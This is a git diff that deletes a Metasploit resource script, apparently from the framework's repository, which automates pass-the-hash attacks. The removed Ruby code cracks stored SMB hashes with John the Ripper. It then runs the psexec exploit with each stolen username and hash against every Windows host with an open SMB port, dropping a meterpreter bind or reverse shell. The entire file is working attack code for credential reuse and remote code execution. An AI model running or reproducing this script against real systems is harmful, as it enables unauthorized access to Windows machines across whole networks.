diff --git a/scripts/resource/auto-pass_the_hash.rc b/scripts/resource/auto-pass_the_hash.rc
deleted file mode 100644
index ce9c032cff..0000000000
--- a/scripts/resource/auto-pass_the_hash.rc
+++ /dev/null
@@ -1,99 +0,0 @@
-# auto-pass_the_hash.rc
-# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
-
-# This Metasploit RC-File could be used to automatically check already discovered windows hashes
-# with jtr before login testing, after jtr is started it uses the hashes with pass the hash
-# against windows fileservices.	-> first we have to fill up the db with operating system infos
-# we use psexec only against windows systems. Hint: smb_version
-
-
-<ruby>
-#psexec needs a payload
-if framework.datastore['PAYLOAD'] 
-	pload = framework.datastore['PAYLOAD'] 
-else	#just to get sure that we have a backup payload
-	pload = "windows/meterpreter/bind_tcp"
-end
-
-if pload =~ /reverse/ and not framework.datastore['LHOST']
-	print_error("You have to set LHOST globally!")
-	return
-end
-
-if (framework.datastore['JOHN'] == "true")	# we can set a global JOHN Option to control the usage of the jtr modules
-	jotr = 1
-else
-	jotr = 0
-end
-
-if (framework.datastore['VERBOSE'] == "true")   #we look in the global datastore for a global VERBOSE option and use it
-	verbose = 1 #true
-else
-	verbose = 0
-end
-
-def infos(serv,creds,host)
-	print_line("")
-	print_line("====================================")
-	print_line("IP: #{host.address}")
-	print_line("OS: #{host.os_name}")
-	print_line("Servicename: #{serv.name}")
-	print_line("Service Port: #{serv.port.to_i}")
-	print_line("Service Protocol: #{serv.proto}")
-	print_line("user: #{creds.user}")
-	print_line("pass: #{creds.pass}")
-	print_line("====================================")
-	print_line("")
-end
-
-framework.db.creds.each do |creds|	# just checking if we have any smb_hashes in the creds db
-	next if (creds.ptype !~ /smb_hash/)
-
-	if (jotr == 1)
-		# first checking weak windows hashes with john ... because of the filtering before, we are sure that
-		# this is a windows hash 
-		# on the first found hash we are going to analyse all hashes - then we set jotr to 0
-
-	 	print_line("using jtr_crack_fast")
-		run_single("use auxiliary/analyze/jtr_crack_fast")
-		# we use the info from Msf::Config.install_root and append the following path to it (thx to sinn3r)
-		run_single("set JOHN_BASE #{Msf::Config.install_root}/data/john")
-		run_single("set JOHN_PATH #{Msf::Config.install_root}/data/john")
-		run_single("run -j")
-		run_single("back")
-		jotr = 0		# jtr modules tries to crack all smb_hashes from the db ... so we could leave it now
-	end
-
-	smbhash = creds.pass
-	username = creds.user
-	
-	framework.db.hosts.each do |host|
- 		next if (host.os_name !~ /Windows/)		# pass the hash works just for Win
-
-	        host.services.each do |serv|
-	                next if not serv.host
-	                next if (serv.state != ServiceState::Open)
-	                next if (serv.name !~ /smb/) 
-		
-	 		print_line("using psexec - Pass the hash")
-			if(verbose == 1)
-				infos(serv,creds,host)
-			end
-			run_single("use exploit/windows/smb/psexec")
-			run_single("set RHOST #{host.address}")
-			run_single("set RPORT #{serv.port}")
-			run_single("set SMBUser #{username}")
-			run_single("set SMBPass #{smbhash}")
-			run_single("set PAYLOAD #{pload}")
-			if pload =~ /reverse/
-				run_single("set LPORT #{(rand(0x8fff) + 4000).to_s}")
-			end
-			if(verbose == 1)
-				run_single("set VERBOSE true")
-			end
-			run_single("exploit -j -z")
-			run_single("back")
-		end
-	end
-end
-</ruby>